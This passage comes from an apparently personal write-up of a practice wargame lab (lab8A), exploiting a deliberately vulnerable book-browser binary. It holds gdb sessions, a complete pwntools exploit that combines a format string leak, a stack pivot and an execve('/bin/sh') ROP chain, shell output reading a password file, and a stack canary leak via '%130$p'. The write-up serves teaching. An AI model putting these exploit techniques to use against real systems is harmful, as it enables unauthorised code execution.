ret\r\n;0xdeadbeef  -&gt; edi\r\n\r\n            --&gt; EAX = 0xB\r\n\r\n0x08048ef6: int 0x80 ; execve(&quot;\/bin\/sh&quot;)\r\n<\/pre>\n<p>For our ROP-chain to work we need an address which references the string <code>\"\/bin\/sh\"<\/code>. Since we have already leaked a stack address, we can simply store the string <code>\/bin\/sh<\/code> in the buffer. The leaked stack address using the format specifier <code>%p<\/code> is the address of the buffer itself. Thus we can append <code>\/bin\/sh<\/code> and the string will be stored at <code>leak+2<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,6,10,12,23,38,56,57]; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ gdb lab8A\r\nReading symbols from lab8A...(no debugging symbols found)...done.\r\ngdb-peda$ disassemble selectABook\r\nDump of assembler code for function selectABook:\r\n...\r\n   0x08048f3e &lt;+51&gt;:    call   0x804f4f0 &lt;printf&gt;\r\n   0x08048f43 &lt;+56&gt;:    mov    DWORD PTR &#x5B;esp+0x4],0x80bf7ce\r\n...\r\nEnd of assembler dump.\r\ngdb-peda$ b *selectABook+56\r\nBreakpoint 1 at 0x8048f43\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab08\/lab8A\r\n\r\n\r\n\r\n**********************************************\r\n{|}  Welcome to QUEND's Beta-Book-Browser  {|}\r\n**********************************************\r\n\r\n        ==&gt; reading is for everyone &lt;==\r\n        &#x5B;+] Enter Your Favorite Author's Last Name: %p\/bin\/sh\r\n0xbffff4e0\/bin\/sh&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x11\r\nEBX: 0x80481a8 (&lt;_init&gt;:        push   ebx)\r\nECX: 0xffffffff\r\nEDX: 0x80ed4d4 --&gt; 0x0\r\nESI: 0x0\r\nEDI: 0x80ec00c --&gt; 0x8068100 (&lt;__stpcpy_sse2&gt;:  mov    edx,DWORD PTR &#x5B;esp+0x4])\r\nEBP: 0xbffff6e4 --&gt; 0xbffff708 --&gt; 0x8049990 (&lt;__libc_csu_fini&gt;:        push   ebx)\r\nESP: 0xbffff4d8 --&gt; 0xbffff4e0 (&quot;%p\/bin\/sh&quot;)\r\nEIP: 0x8048f43 (&lt;selectABook+56&gt;:       mov    DWORD PTR &#x5B;esp+0x4],0x80bf7ce)\r\nEFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8048f35 &lt;selectABook+42&gt;:  lea    eax,&#x5B;ebp-0x204]\r\n   0x8048f3b &lt;selectABook+48&gt;:  mov    DWORD PTR &#x5B;esp],eax\r\n   0x8048f3e &lt;selectABook+51&gt;:  call   0x804f4f0 &lt;printf&gt;\r\n=&gt; 0x8048f43 &lt;selectABook+56&gt;:  mov    DWORD PTR &#x5B;esp+0x4],0x80bf7ce\r\n   0x8048f4b &lt;selectABook+64&gt;:  lea    eax,&#x5B;ebp-0x204]\r\n   0x8048f51 &lt;selectABook+70&gt;:  mov    DWORD PTR &#x5B;esp],eax\r\n   0x8048f54 &lt;selectABook+73&gt;:  call   0x8048280\r\n   0x8048f59 &lt;selectABook+78&gt;:  test   eax,eax\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff4d8 --&gt; 0xbffff4e0 (&quot;%p\/bin\/sh&quot;)\r\n0004| 0xbffff4dc --&gt; 0xbffff4e0 (&quot;%p\/bin\/sh&quot;)\r\n0008| 0xbffff4e0 (&quot;%p\/bin\/sh&quot;)\r\n0012| 0xbffff4e4 (&quot;in\/sh&quot;)\r\n0016| 0xbffff4e8 --&gt; 0x68 ('h')\r\n0020| 0xbffff4ec --&gt; 0x0\r\n0024| 0xbffff4f0 --&gt; 0x0\r\n0028| 0xbffff4f4 --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0x08048f43 in selectABook ()\r\ngdb-peda$ x\/s 0xbffff4e0 + 2\r\n0xbffff4e2:     &quot;\/bin\/sh&quot;\r\n<\/pre>\n<p>But how can we store all ROP-gadgets on the stack? With the format string vulnerability we can overwrite the 4 byte return address. Of course we could also write a little bit more data. But the whole ROP-chain? A more efficient way is to use a pivoting gadget like we did in <a href=\"https:\/\/www.devel0pment.de\/?p=366#lab5A\">lab5A<\/a>:<br \/>\n&#8211;&gt; We store all our gadgets on the stack with the call to <code>scanf<\/code> in <code>selectABook<\/code>.<br \/>\n&#8211;&gt; Since this is no valid user input, the function <code>selectABook<\/code> gets called once again.<br \/>\n&#8211;&gt; We calculate the offset from <code>esp<\/code> to our ROP-chain when the <code>ret<\/code> instruction of the last <code>selectABook<\/code> call is reached.<br \/>\n&#8211;&gt; We find a pivoting ROP-gadget which adds this offset to <code>esp<\/code>.<br \/>\n&#8211;&gt; We overwrite the return address of the last <code>selectABook<\/code> call with the address of this pivoting ROP-gadget.<\/p>\n<p>Let&#8217;s start by determining the offset:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,7,9,11,21,23,46,52,55,64,65]; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ gdb lab8A\r\nReading symbols from lab8A...(no debugging symbols found)...done.\r\ngdb-peda$ disassemble selectABook\r\nDump of assembler code for function selectABook:\r\n...\r\n   0x08048fdf &lt;+212&gt;:   leave\r\n   0x08048fe0 &lt;+213&gt;:   ret\r\nEnd of assembler dump.\r\ngdb-peda$ b *selectABook+213\r\nBreakpoint 1 at 0x8048fe0\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab08\/lab8A\r\n\r\n\r\n\r\n**********************************************\r\n{|}  Welcome to QUEND's Beta-Book-Browser  {|}\r\n**********************************************\r\n\r\n        ==&gt; reading is for everyone &lt;==\r\n        &#x5B;+] Enter Your Favorite Author's Last Name: AAAA\r\nAAAA\r\nWhat were you thinking, that isn't a good book.A\r\nA\r\n\r\n*************************************************\r\n{|} Aristote's Metaphysics 350 B.C. Book VIII {|}\r\n*************************************************\r\n\r\nTo return to the difficulty which has been stated with respect both to definitions and to numbers, what is the cause of their unity? In the case of all things which have several parts and in which the totality is not, as it were, a mere heap, but the whole is something beside the parts, there is a cause; for even in bodies contact is the cause of unity in some cases, and in others viscosity or some other such quality. And a definition is a set of words which is one not by being connected together, like the Iliad, but by dealing with one object.-What then, is it that makes man one; why is he one and not many, e.g. animal + biped, especially if there are, as some say, an animal-itself and a biped-itself? Why are not those Forms themselves the man, so that men would exist by participation not in man, nor in-one Form, but in two, animal and biped, and in general man would be not one but more than one thing, animal and biped?\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x0\r\nEBX: 0x80481a8 (&lt;_init&gt;:        push   ebx)\r\nECX: 0x80ed4d4 --&gt; 0x0\r\nEDX: 0x3a8\r\nESI: 0x0\r\nEDI: 0x80ec00c --&gt; 0x8068100 (&lt;__stpcpy_sse2&gt;:  mov    edx,DWORD PTR &#x5B;esp+0x4])\r\nEBP: 0xbffff6e4 --&gt; 0xbffff708 --&gt; 0x8049990 (&lt;__libc_csu_fini&gt;:        push   ebx)\r\nESP: 0xbffff4d4 --&gt; 0x8048fcd (&lt;selectABook+194&gt;:       nop)\r\nEIP: 0x8048fe0 (&lt;selectABook+213&gt;:      ret)\r\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8048fd8 &lt;selectABook+205&gt;: je     0x8048fdf &lt;selectABook+212&gt;\r\n   0x8048fda &lt;selectABook+207&gt;: call   0x806f490 &lt;__stack_chk_fail&gt;\r\n   0x8048fdf &lt;selectABook+212&gt;: leave\r\n=&gt; 0x8048fe0 &lt;selectABook+213&gt;: ret\r\n   0x8048fe1 &lt;readA&gt;:   push   ebp\r\n   0x8048fe2 &lt;readA+1&gt;: mov    ebp,esp\r\n   0x8048fe4 &lt;readA+3&gt;: sub    esp,0x8\r\n   0x8048fe7 &lt;readA+6&gt;: mov    eax,gs:0x14\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff4d4 --&gt; 0x8048fcd (&lt;selectABook+194&gt;:      nop)\r\n0004| 0xbffff4d8 --&gt; 0x80bf7f8 (&quot;\\nWhat were you thinking, that isn't a good book.&quot;)\r\n0008| 0xbffff4dc --&gt; 0x80bf7d0 --&gt; 0x46 ('F')\r\n0012| 0xbffff4e0 (&quot;AAAA&quot;)\r\n0016| 0xbffff4e4 --&gt; 0x0\r\n0020| 0xbffff4e8 --&gt; 0x0\r\n0024| 0xbffff4ec --&gt; 0x0\r\n0028| 0xbffff4f0 --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0x08048fe0 in selectABook ()\r\ngdb-peda$ p 0xbffff4e0 - 0xbffff4d4\r\n$1 = 0xc\r\n<\/pre>\n<p>The from the buffer <code>buf_secure<\/code> of the first call to <code>selectABook<\/code> to the return address of the second call is <code>0xc<\/code>.<\/p>\n<p>Because the <code>ret<\/code> instruction itself already pops on item off the stack, we need to find a gadget, which will add <code>8<\/code> to <code>esp<\/code>. Again I used <code>ROPgadget<\/code> to find an appropriate gadget:<\/p>\n<pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ ROPgadget --binary lab8A | grep &quot;add esp&quot;\r\n...\r\n0x080b4f89 : add esp, 4; pop ebp; ret\r\n...\r\n<\/pre>\n<p>Summing it up our exploit will do the following:<br \/>\n&#8211;&gt; Leak a stack address and store <code>\"\/bin\/sh\"<\/code> (first call to <code>selectABook<\/code>).<br \/>\n&#8211;&gt; Store our ROP-chain (second call to <code>selectABook<\/code>).<br \/>\n&#8211;&gt; Overwrite the return address of the second call with the pivoting gadget using the format string vulnerability (third call to <code>selectABook<\/code>).<br \/>\n&#8211;&gt; Enter some valid input to reach the <code>ret<\/code> instruction (fourth call to <code>selectABook<\/code>).<\/p>\n<p>The final python-script:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ cat \/tmp\/exploit_lab8A.py\r\nfrom pwn import *\r\n\r\np = remote(&quot;localhost&quot;, 8841)\r\n\r\n#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n# first call to selectABook: leak stack + store &quot;\/bin\/sh&quot;\r\n\r\nfmt = &quot;%p\/bin\/sh&quot; # stack_leak + \/bin\/sh for later use\r\np.sendline(fmt)\r\nret = p.recv(1000)\r\nstack_leak = int(ret&#x5B;0xe1:0xe9], 16)\r\nlog.success(&quot;stack_leak: &quot; + hex(stack_leak))\r\naddr_binsh = stack_leak + 2\r\n\r\n#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n# second call to selectABook: ROP-chain\r\n\r\nfmt  = p32(0x08054b45) # mov edx, 0xffffffff; ret\r\n\r\nfmt += p32(0x0807b8dc) # inc edx; adc al,0x39; ret\r\n\r\n                       # --&gt; EDX = 0\r\n\r\nfmt += p32(0x08049c73) # xor ecx, ecx; pop ebx; mov eax, ecx;\r\n                       # pop esi; pop edi; pop ebp; ret\r\nfmt += p32(addr_binsh) #  -&gt; ebx\r\nfmt += p32(0xdeadbeef) #  -&gt; esi\r\nfmt += p32(0xdeadbeef) #  -&gt; edi\r\nfmt += p32(0xdeadbeef) #  -&gt; ebp\r\n\r\n                       # --&gt; ECX = 0\r\n                       # --&gt; EAX = 0\r\n                       # --&gt; EBX = address of &quot;\/bin\/sh&quot;\r\n\r\nfmt += p32(0x08069443) # add eax, edi; pop edi; ret\r\nfmt += p32(0x2152411c) #  -&gt; edi: 0xdeadbeef + 0x2152411c = 0x10000000b\r\n\r\nfmt += p32(0x08069443) # add eax, edi; pop edi; ret\r\nfmt += p32(0xdeadbeef) #  -&gt; edi\r\n\r\n                       # --&gt; EAX = 0xB\r\n\r\nfmt += p32(0x08048ef6) # int 0x80\r\n\r\np.sendline(fmt)\r\n\r\n#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n# third call to selectABook: overwrite return address\r\n\r\naddr_buf = 0x080b4f89                 # stack-pivot: add esp, 4; pop ebp; ret\r\naddr_write = stack_leak - 0xc - 0x214 # ret addr of 2nd call to selectABook\r\n\r\nvalue_u2 = addr_buf &gt;&gt; 16\r\nvalue_l2 = addr_buf &amp; 0xffff\r\n\r\nfmt  = p32(addr_write+2) # arg selector: $1\r\nfmt += p32(addr_write)   # arg selector: $2\r\nfmt += &quot;%&quot; + str(value_u2 - 8) + &quot;x&quot;\r\nfmt += &quot;%2$hn&quot;\r\nfmt += &quot;%&quot; + str(value_l2 - value_u2) + &quot;x&quot;\r\nfmt += &quot;%3$hn&quot;\r\np.sendline(fmt)\r\n\r\n#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n# fourth call to selectABook: valid input \/ trigger return\r\n\r\np.sendline(&quot;A&quot;)\r\np.recvuntil(&quot;biped? \\n&quot;)\r\n\r\np.interactive()\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab8A@warzone:\/levels\/lab08$ python \/tmp\/exploit_lab8A.py\r\n&#x5B;+] Opening connection to localhost on port 8841: Done\r\n&#x5B;+] stack_leak: 0xbfebd390\r\n&#x5B;*] Switching to interactive mode\r\n$ id\r\nuid=1032(lab8end) gid=1033(lab8end) groups=1033(lab8end),1001(gameuser)\r\n$ cat \/home\/lab8end\/.pass\r\nH4x0r5_d0nt_N33d_m3t4pHYS1c5\r\n<\/pre>\n<p>As we figured out, there is also a second buffer overflow vulnerability. Let&#8217;s try to exploit this vulnerability, too:<\/p>\n<h2>buffer overflow (stack canary)<\/h2>\n<p>The function <code>findSomeWords<\/code> contains a buffer overflow vulnerability:<\/p>\n<pre class=\"brush: cpp; first-line: 67; title: ; notranslate\" title=\"\">\r\n    char buf&#x5B;24];\r\n<\/pre>\n<pre class=\"brush: cpp; first-line: 75; title: ; notranslate\" title=\"\">\r\n    read(STDIN, buf, 2048); \/\/ &gt;&gt; read a lot every day !\r\n<\/pre>\n<p>If we want to leverage this vulnerability to overwrite the return address and redirect the control flow, we have to bypass the deployed stack canary protections.<\/p>\n<p>When stack canaries are enabled, each function prologue contains the following additional instructions:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [6,7]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ disassemble findSomeWords\r\nDump of assembler code for function findSomeWords:\r\n   0x080490dd &lt;+0&gt;:     push   ebp\r\n   0x080490de &lt;+1&gt;:     mov    ebp,esp\r\n   0x080490e0 &lt;+3&gt;:     sub    esp,0x28\r\n   0x080490e3 &lt;+6&gt;:     mov    eax,gs:0x14\r\n   0x080490e9 &lt;+12&gt;:    mov    DWORD PTR &#x5B;ebp-0x4],eax\r\n   ...\r\n<\/pre>\n<p><code>gs<\/code> is a segment register used for thread-local data. <code>gs:0x14<\/code> contains the stack canary, which is stored on the stack right before the return address at <code>ebp-0x4<\/code>.<\/p>\n<p>Before the <code>ret<\/code> instruction in the function epilogue is executed, the stack canary on the stack is compared to the actual stack canary in <code>gs:0x14<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n   ...\r\n   0x08049168 &lt;+139&gt;:   mov    eax,DWORD PTR &#x5B;ebp-0x4]\r\n   0x0804916b &lt;+142&gt;:   xor    eax,DWORD PTR gs:0x14\r\n   0x08049172 &lt;+149&gt;:   je     0x8049179 &lt;findSomeWords+156&gt;\r\n   0x08049174 &lt;+151&gt;:   call   0x806f490 &lt;__stack_chk_fail&gt;\r\n   0x08049179 &lt;+156&gt;:   leave\r\n   0x0804917a &lt;+157&gt;:   ret\r\n<\/pre>\n<p>If the canary on the stack is not equal with the actual canary, the <code>je<\/code> will not be taken and the function <code>__stack_chk_fail<\/code> will quit the program. This way the <code>ret<\/code> instruction is never reached and a potentially overwritten return address will not be loaded to the instruction pointer.<\/p>\n<p>How can we bypass this protection? Well, we have already seen that the function <code>selectABook<\/code> contains a format string vulnerability. Since the stack canary is the same for all function calls in the same thread, we can use this vulnerability to leak the stack canary.<\/p>\n<p>In order to do this, we just have to determine the argument selector we have to use in the format string to print a stack canary:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,6,7,15,18,20]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ disassemble selectABook\r\nDump of assembler code for function selectABook:\r\n   0x08048f0b &lt;+0&gt;:     push   ebp\r\n   0x08048f0c &lt;+1&gt;:     mov    ebp,esp\r\n   0x08048f0e &lt;+3&gt;:     sub    esp,0x20c\r\n   0x08048f14 &lt;+9&gt;:     mov    eax,gs:0x14\r\n   0x08048f1a &lt;+15&gt;:    mov    DWORD PTR &#x5B;ebp-0x4],eax\r\n   0x08048f1d &lt;+18&gt;:    xor    eax,eax\r\n   0x08048f1f &lt;+20&gt;:    lea    eax,&#x5B;ebp-0x204]\r\n   0x08048f25 &lt;+26&gt;:    mov    DWORD PTR &#x5B;esp+0x4],eax\r\n   0x08048f29 &lt;+30&gt;:    mov    DWORD PTR &#x5B;esp],0x80bf7cb\r\n   0x08048f30 &lt;+37&gt;:    call   0x804f550 &lt;__isoc99_scanf&gt;\r\n   0x08048f35 &lt;+42&gt;:    lea    eax,&#x5B;ebp-0x204]\r\n   0x08048f3b &lt;+48&gt;:    mov    DWORD PTR &#x5B;esp],eax\r\n   0x08048f3e &lt;+51&gt;:    call   0x804f4f0 &lt;printf&gt;\r\n   ...\r\nEnd of assembler dump.\r\ngdb-peda$ b *selectABook+15\r\nBreakpoint 1 at 0x8048f1a\r\ngdb-peda$ b *selectABook+51\r\nBreakpoint 2 at 0x8048f3e\r\n<\/pre>\n<p>I set a breakpoint after the stack canary has been loaded to <code>eax<\/code> and another breakpoint when <code>printf<\/code> is called in order to see at which offset from the current <code>esp<\/code> the canary is stored:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,12,26]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab08\/lab8A\r\n\r\n\r\n\r\n**********************************************\r\n{|}  Welcome to QUEND's Beta-Book-Browser  {|}\r\n**********************************************\r\n\r\n        ==&gt; reading is for everyone &lt;==\r\n        &#x5B;+] Enter Your Favorite Author's Last Name: &#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x285ea900\r\nEBX: 0x80481a8 (&lt;_init&gt;:        push   ebx)\r\nECX: 0xffffffff\r\nEDX: 0x80ed4d4 --&gt; 0x0\r\nESI: 0x0\r\nEDI: 0x80ec00c --&gt; 0x80662a0 (&lt;__stpcpy_ssse3&gt;: mov    edx,DWORD PTR &#x5B;esp+0x4])\r\nEBP: 0xbffff6e4 --&gt; 0xbffff708 --&gt; 0x8049990 (&lt;__libc_csu_fini&gt;:        push   ebx)\r\nESP: 0xbffff4d8 --&gt; 0x0\r\nEIP: 0x8048f1a (&lt;selectABook+15&gt;:       mov    DWORD PTR &#x5B;ebp-0x4],eax)\r\nEFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8048f0c &lt;selectABook+1&gt;:   mov    ebp,esp\r\n   0x8048f0e &lt;selectABook+3&gt;:   sub    esp,0x20c\r\n   0x8048f14 &lt;selectABook+9&gt;:   mov    eax,gs:0x14\r\n=&gt; 0x8048f1a &lt;selectABook+15&gt;:  mov    DWORD PTR &#x5B;ebp-0x4],eax\r\n   0x8048f1d &lt;selectABook+18&gt;:  xor    eax,eax\r\n   0x8048f1f &lt;selectABook+20&gt;:  lea    eax,&#x5B;ebp-0x204]\r\n   0x8048f25 &lt;selectABook+26&gt;:  mov    DWORD PTR &#x5B;esp+0x4],eax\r\n   0x8048f29 &lt;selectABook+30&gt;:  mov    DWORD PTR &#x5B;esp],0x80bf7cb\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff4d8 --&gt; 0x0\r\n0004| 0xbffff4dc --&gt; 0x0\r\n0008| 0xbffff4e0 --&gt; 0x0\r\n0012| 0xbffff4e4 --&gt; 0x0\r\n0016| 0xbffff4e8 --&gt; 0x0\r\n0020| 0xbffff4ec --&gt; 0x0\r\n0024| 0xbffff4f0 --&gt; 0x0\r\n0028| 0xbffff4f4 --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0x08048f1a in selectABook ()\r\n<\/pre>\n<p>The canary being used is <code>0x285ea900<\/code>.<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,12,19,39,43,44,45,46]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\nAAAA\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0xbffff4e0 (&quot;AAAA&quot;)\r\nEBX: 0x80481a8 (&lt;_init&gt;:        push   ebx)\r\nECX: 0x80ed4e0 --&gt; 0x0\r\nEDX: 0x1\r\nESI: 0x0\r\nEDI: 0x80ec00c --&gt; 0x80662a0 (&lt;__stpcpy_ssse3&gt;: mov    edx,DWORD PTR &#x5B;esp+0x4])\r\nEBP: 0xbffff6e4 --&gt; 0xbffff708 --&gt; 0x8049990 (&lt;__libc_csu_fini&gt;:        push   ebx)\r\nESP: 0xbffff4d8 --&gt; 0xbffff4e0 (&quot;AAAA&quot;)\r\nEIP: 0x8048f3e (&lt;selectABook+51&gt;:       call   0x804f4f0 &lt;printf&gt;)\r\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8048f30 &lt;selectABook+37&gt;:  call   0x804f550 &lt;__isoc99_scanf&gt;\r\n   0x8048f35 &lt;selectABook+42&gt;:  lea    eax,&#x5B;ebp-0x204]\r\n   0x8048f3b &lt;selectABook+48&gt;:  mov    DWORD PTR &#x5B;esp],eax\r\n=&gt; 0x8048f3e &lt;selectABook+51&gt;:  call   0x804f4f0 &lt;printf&gt;\r\n   0x8048f43 &lt;selectABook+56&gt;:  mov    DWORD PTR &#x5B;esp+0x4],0x80bf7ce\r\n   0x8048f4b &lt;selectABook+64&gt;:  lea    eax,&#x5B;ebp-0x204]\r\n   0x8048f51 &lt;selectABook+70&gt;:  mov    DWORD PTR &#x5B;esp],eax\r\n   0x8048f54 &lt;selectABook+73&gt;:  call   0x8048280\r\nGuessed arguments:\r\narg&#x5B;0]: 0xbffff4e0 (&quot;AAAA&quot;)\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff4d8 --&gt; 0xbffff4e0 (&quot;AAAA&quot;)\r\n0004| 0xbffff4dc --&gt; 0xbffff4e0 (&quot;AAAA&quot;)\r\n0008| 0xbffff4e0 (&quot;AAAA&quot;)\r\n0012| 0xbffff4e4 --&gt; 0x0\r\n0016| 0xbffff4e8 --&gt; 0x0\r\n0020| 0xbffff4ec --&gt; 0x0\r\n0024| 0xbffff4f0 --&gt; 0x0\r\n0028| 0xbffff4f4 --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 2, 0x08048f3e in selectABook ()\r\ngdb-peda$ searchmem 0x285ea900\r\nSearching for '0x285ea900' in: None ranges\r\nFound 3 results, display max 3 items:\r\n &#x5B;heap] : 0x80ef854 --&gt; 0x285ea900\r\n&#x5B;stack] : 0xbffff6e0 --&gt; 0x285ea900\r\n&#x5B;stack] : 0xbffff704 --&gt; 0x285ea900\r\ngdb-peda$ p (0xbffff6e0 - 0xbffff4d8) \/ 4\r\n$1 = 0x82\r\n<\/pre>\n<p>There are two canaries on the stack. The offset to the second on can be calculated by subtracting the current <code>esp<\/code> (<code>0xbffff4d8<\/code>). Because we are going to use the 4-byte format specifier <code>%p<\/code> we have to divide the difference by 4 to determine the argument selector we have to use. The value <code>0x82 = 130<\/code> means that we can print the stack canary with the format specifier <code>%130$p<\/code>. Let&#8217;s verify this:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [5,7,18,50,52,53]; title: ; notranslate\" title=\"\">\r\n   ...\r\n   0x08048f1a &lt;+15&gt;:    mov    DWORD PTR &#x5B;ebp-0x4],eax\r\n   ...\r\nEnd of assembler dump.\r\ngdb-peda$ b *selectABook+15\r\nBreakpoint 1 at 0x8048f1a\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab08\/lab8A\r\n\r\n\r\n\r\n**********************************************\r\n{|}  Welcome to QUEND's Beta-Book-Browser  {|}\r\n**********************************************\r\n\r\n        ==&gt; reading is for everyone &lt;==\r\n        &#x5B;+] Enter Your Favorite Author's Last Name: &#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0xdbeeeb00\r\nEBX: 0x80481a8 (&lt;_init&gt;:        push   ebx)\r\nECX: 0xffffffff\r\nEDX: 0x80ed4d4 --&gt; 0x0\r\nESI: 0x0\r\nEDI: 0x80ec00c --&gt; 0x80662a0 (&lt;__stpcpy_ssse3&gt;: mov    edx,DWORD PTR &#x5B;esp+0x4])\r\nEBP: 0xbffff6e4 --&gt; 0xbffff708 --&gt; 0x8049990 (&lt;__libc_csu_fini&gt;:        push   ebx)\r\nESP: 0xbffff4d8 --&gt; 0x0\r\nEIP: 0x8048f1a (&lt;selectABook+15&gt;:       mov    DWORD PTR &#x5B;ebp-0x4],eax)\r\nEFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8048f0c &lt;selectABook+1&gt;:   mov    ebp,esp\r\n   0x8048f0e &lt;selectABook+3&gt;:   sub    esp,0x20c\r\n   0x8048f14 &lt;selectABook+9&gt;:   mov    eax,gs:0x14\r\n=&gt; 0x8048f1a &lt;selectABook+15&gt;:  mov    DWORD PTR &#x5B;ebp-0x4],eax\r\n   0x8048f1d &lt;selectABook+18&gt;:  xor    eax,eax\r\n   0x8048f1f &lt;selectABook+20&gt;:  lea    eax,&#x5B;ebp-0x204]\r\n   0x8048f25 &lt;selectABook+26&gt;:  mov    DWORD PTR &#x5B;esp+0x4],eax\r\n   0x8048f29 &lt;selectABook+30&gt;:  mov    DWORD PTR &#x5B;esp],0x80bf7cb\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff4d8 --&gt; 0x0\r\n0004| 0xbffff4dc --&gt; 0x0\r\n0008| 0xbffff4e0 --&gt; 0x0\r\n0012| 0xbffff4e4 --&gt; 0x0\r\n0016| 0xbffff4e8 --&gt; 0x0\r\n0020| 0xbffff4ec --&gt; 0x0\r\n0024| 0xbffff4f0 --&gt; 0x0\r\n0028| 0xbffff4f4 --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0x08048f1a in selectABook ()\r\ngdb-peda$ c\r\nContinuing.\r\n%130$p\r\n0xdbeeeb00\r\n<\/pre>\n<p>We have successfully leaked the stack canary \ud83d\ude42<\/p>\n<p>As we have already seen an additional stack canary has been implemented within the function <code>findSomeWords<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 77; title: ; notranslate\" title=\"\">\r\n    if(((*( global_addr))^(*(global_addr_check))) != ((*( global_addr))^(0xdeadbeef))){\r\n        printf(&quot;\\n\\nWoah There\\n&quot;);\r\n        \/\/ why are you trying to break my program q-q\r\n        exit(EXIT_FAILURE);\r\n    }\r\n<\/pre>\n<p>The pointer <code>global_addr<\/code> references the address right after the buffer <code>buf<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 69; title: ; notranslate\" title=\"\">\r\n    global_addr = (&amp;buf+0x1);\r\n<\/pre>\n<p>And what is stored at this address? Right! The stack canary.<\/p>\n<p>The other pointer <code>global_addr_check<\/code> references the address of <code>buf+16<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 71; title: ; notranslate\" title=\"\">\r\n    global_addr_check = global_addr-0x2;\r\n<\/pre>\n<p>This means that we have to make sure that at <code>&buf[16]<\/code> the value <code>\"\\xef\\xbe\\xad\\xde\"<\/code> is stored in order to bypass the custom canary protection.<\/p>\n<p>At last we have to determine the offset from the buffer to the return address. This can be done by setting a breakpoint at the beginning of <code>findSomeWords<\/code> to see at which address the return address is stored and set another breakpoint at the call to <code>read<\/code> to see where the buffer is stored:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,8,10,12,53,65,83,90,105,106]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ disassemble findSomeWords\r\nDump of assembler code for function findSomeWords:\r\n   0x080490dd &lt;+0&gt;:     push   ebp\r\n   ...\r\n   0x08049128 &lt;+75&gt;:    call   0x806d6d0 &lt;read&gt;\r\n   ...\r\nEnd of assembler dump.\r\ngdb-peda$ b *findSomeWords\r\nBreakpoint 1 at 0x80490dd\r\ngdb-peda$ b *findSomeWords+75\r\nBreakpoint 2 at 0x8049128\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab08\/lab8A\r\n\r\n\r\n\r\n**********************************************\r\n{|}  Welcome to QUEND's Beta-Book-Browser  {|}\r\n**********************************************\r\n\r\n        ==&gt; reading is for everyone &lt;==\r\n        &#x5B;+] Enter Your Favorite Author's Last Name: A\r\nA\r\n\r\n*************************************************\r\n{|} Aristote's Metaphysics 350 B.C. Book VIII {|}\r\n*************************************************\r\n\r\nTo return to the difficulty which has been stated with respect both to definitions and to numbers, what is the cause of their unity? In the case of all things which have several parts and in which the totality is not, as it were, a mere heap, but the whole is something beside the parts, there is a cause; for even in bodies contact is the cause of unity in some cases, and in others viscosity or some other such quality. And a definition is a set of words which is one not by being 